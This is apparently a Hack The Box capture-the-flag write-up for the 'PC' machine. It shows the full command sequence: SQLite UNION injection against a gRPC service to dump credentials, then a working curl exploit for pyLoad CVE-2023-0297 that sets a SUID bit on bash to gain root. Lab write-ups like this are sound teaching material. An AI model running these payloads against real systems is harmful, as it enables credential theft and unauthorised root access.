PC

Creator: sau123

Machine URL: https://app.hackthebox.com/machines/PC

Difficulty: Easy


Initial enumeration

We start with an nmap scan:

# Nmap 7.93 scan initiated Sat May 20 21:07:11 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.182.219
Nmap scan report for 10.129.182.219
Host is up, received echo-reply ttl 63 (0.035s latency).
Scanned at 2023-05-20 21:07:11 CEST for 46s
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChKXbRHNGTarynUVI8hN9pa0L2IvoasvTgCN80atXySpKMerjyMlVhG9QrJr62jtGg4J39fqxW06LmUCWBa0IxGF0thl2JCw3zyCqq0y8+hHZk0S3Wk9IdNcvd2Idt7SBv7v7x+u/zuDEryDy8aiL1AoqU86YYyiZBl4d2J9HfrlhSBpwxInPjXTXcQHhLBU2a2NA4pDrE9TxVQNh75sq3+G9BdPDcwSx9Iz60oWlxiyLcoLxz7xNyBb3PiGT2lMDehJiWbKNEOb+JYp4jIs90QcDsZTXUh3thK4BDjYT+XMmUOvinEeDFmDpeLOH2M42Zob0LtqtpDhZC+dKQkYSLeVAov2dclhIpiG12IzUCgcf+8h8rgJLDdWjkw+flh3yYnQKiDYvVC+gwXZdFMay7Ht9ciTBVtDnXpWHVVBpv4C7efdGGDShWIVZCIsLboVC+zx1/RfiAI5/O7qJkJVOQgHH/2Y2xqD/PX4T6XOQz1wtBw1893ofX3DhVokvy+nM=
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPqhx1OUw1d98irA5Ii8PbhDG3KVbt59Om5InU2cjGNLHATQoSJZtm9DvtKZ+NRXNuQY/rARHH3BnnkiCSyWWJc=
|   256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBG1KtV14ibJtSel8BP4JJntNT3hYMtFkmOgOVtyzX/R
50051/tcp open  unknown syn-ack ttl 63
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Just two ports are open:

  • TCP 22 for OpenSSH
  • TCP 50051 is an unknown service

There is not much of a choice here on how to proceed. Let’s identify the service running on 50051.

Identifying the service on TCP 50051

First, we attempt to communicate with the server with netcat:

┌──(fluff㉿kali)-[/tmp]
└─$ nc 10.129.180.211 50051
▒?��?�� ?

The server doesn’t send us any human-readable information.
Let’s hex-dump the data we get.

┌──(fluff㉿kali)-[/tmp]
└─$ nc 10.129.180.211 50051 | xxd
00000000: 0000 1804 0000 0000 0000 0400 3fff ff00  ............?...
00000010: 0500 3fff ff00 0600 0020 00fe 0300 0000  ..?...... ......

00000020: 0100 0004 0800 0000 0000 003f 0000       ...........?..

A quick Google search for TCP "00 00 18 04" gives us a bunch of gRPC errors.

gRPC client

I will use grpc-client-cli but any client should be fine.

┌──(fluff㉿kali)-[/tmp]
└─$ mkdir /tmp/grpc && curl -L https://github.com/vadimi/grpc-client-cli/releases/download/v1.18.0/grpc-client-cli_linux_x86_64.tar.gz | tar -C /tmp/grpc -xz
┌──(fluff㉿kali)-[/tmp]
└─$ cd grpc
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli 10.129.182.219:50051
? Choose a service:  [Use arrows to move, type to filter]
→ grpc.reflection.v1alpha.ServerReflection
  SimpleApp

We can communicate with the server now.

Exploring SimpleApp

Available methods:

┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -V 10.129.180.211:50051
? Choose a method:  [Use arrows to move, type to filter]
[..]
  getInfo
  LoginUser
  RegisterUser

RegisterUser

┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -V 10.129.180.211:50051
? Choose a method: RegisterUser
Message json (type ? to see defaults): ?
{"username":"","password":""}
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -m RegisterUser -V 10.129.180.211:50051
Message json (type ? to see defaults): {"username": "fluffme", "password": "fluffme"}
{
  "message": "Account created for user fluffme!"
}
...

We can register with the app.

LoginUser

┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -m LoginUser -V 10.129.180.211:50051
Message json (type ? to see defaults): ?
{"username":"","password":""}
Message json (type ? to see defaults): {"username": "fluffme", "password": "fluffme"}
{
  "message": "Your id is 286."
}
...
Response Trailers:
token: [b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZmx1ZmZtZSIsImV4cCI6MTY4NDg0ODgxN30.6n73qk3Wk_OF-Bb_ao4nucU5A1CMyPbhq686IXDnKFA']
...

On login we get the id in the response (286 in this case) and what looks like a JWT token in the trailers.

getInfo

┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -m getInfo -V 10.129.180.211:50051
Message json (type ? to see defaults): ?
{"id":""}
Message json (type ? to see defaults): {"id":"286"}
{
  "message": "Authorization Error.Missing 'token' header"
}
...

Let’s add the token that we received from LoginUser to the token header.

┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZmx1ZmZtZSIsImV4cCI6MTY4NDg0ODgxN30.6n73qk3Wk_OF-Bb_ao4nucU5A1CMyPbhq686IXDnKFA' -s SimpleApp -m getInfo -V 10.129.180.211:50051
Message json (type ? to see defaults): {"id":"286"}
{
  "message": "Will update soon."
}

Poking around

Now that we have seen and interacted with every functionality that SimpleApp offers us, we can attempt to find some unusual behavior.

┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZmx1ZmZtZSIsImV4cCI6MTY4NDg0ODgxN30.6n73qk3Wk_OF-Bb_ao4nucU5A1CMyPbhq686IXDnKFA' -s SimpleApp -m getInfo -V 10.129.180.211:50051
Message json (type ? to see defaults): {"id":"1"}
{
  "message": "The admin is working hard to fix the issues."
}

We have an admin ID of 1.

Message json (type ? to see defaults): {"id":"2"}
Error: rpc error: code = Unknown desc = Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable

ID 2 doesn’t seem to exist.

Message json (type ? to see defaults): {"id":"2-1"}
{
  "message": "The admin is working hard to fix the issues."
}

ID 2-1 returns the entry for ID 1.
This might be a sign of a SQL Injection…

Message json (type ? to see defaults): {"id":"2 UNION SELECT 'fluff'"}
{
  "message": "fluff"
}

And it is one!

SQLite Injection in SimpleApp/getInfo

After attempting to identify the DBMS with various payloads we find that it’s SQLite:

Message json (type ? to see defaults): {"id":"2 UNION SELECT sqlite_version();"}
{
  "message": "3.31.1"
}

Enumerating tables

Message json (type ? to see defaults): {"id":"2 UNION SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'"}
{
  "message": "accounts"
}
Message json (type ? to see defaults): {"id":"2 UNION SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' LIMIT 1,1"}
{
  "message": "messages"
}

Getting usernames and passwords

Message json (type ? to see defaults): {"id":"2 UNION SELECT username || ':' || password FROM accounts"}
{
  "message": "admin:admin"
}
Message json (type ? to see defaults): {"id":"2 UNION SELECT username || ':' || password FROM accounts LIMIT 1,1"}
{
  "message": "sau:H<REDACTED>1"
}

We get the credentials for user sau. The password is reused and we can SSH with it.

Foothold as sau

┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ssh [email protected]
...
[email protected]'s password:
...
sau@pc:~$

Grab the flag in user.txt located in sau’s home directory.

Enumeration

Let’s check the listening TCP ports:

sau@pc:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::50051                :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Interesting ports – 8000 and 9666

sau@pc:~$ curl 127.0.0.1:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.
sau@pc:~$ curl -s 127.0.0.1:8000/login | grep '<title'
<title>Login - pyLoad </title>
sau@pc:~$ curl -s 127.0.0.1:9666/login | grep '<title'
<title>Login - pyLoad </title>

pyLoad is running on both ports.

Let’s get the version of pyLoad and search for known vulnerabilities.

sau@pc:~$ ps fauxwww | grep pyload
root        1010  0.1  1.4 1216804 59916 ?       Ssl  10:28   0:03 /usr/bin/python3 /usr/local/bin/pyload
sau         1544  0.0  0.0   8160   656 pts/0    S+   11:08   0:00              \_ grep --color=auto pyload
sau@pc:~$ /usr/local/bin/pyload --version
pyLoad 0.5.0

After a quick search, we find a Code Injection CVE-2023-0297 advisory on pyLoad’s GitHub.

Privilege Escalation to root – CVE-2023-0297

The advisory also contains a link to Proof of Concept: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/

Payload

We will just add a SUID bit to bash binary.

pyimport os;os.system("chmod +s /usr/bin/bash")

URL Ecnoded:

%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%2b%73%20%2f%75%73%72%2f%62%69%6e%2f%62%61%73%68%22%29

Exploitation

sau@pc:~$ curl -s -X POST --data-binary 'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%2b%73%20%2f%75%73%72%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&passwords=aaaa' http://127.0.0.1:8000/flash/addcrypted2

Could not decrypt key
sau@pc:~$ ls -la /usr/bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /usr/bin/bash

Success!
Get root by executing bash -p and get the root.txt.

sau@pc:~$ bash -p
bash-5.0# cat /root/root.txt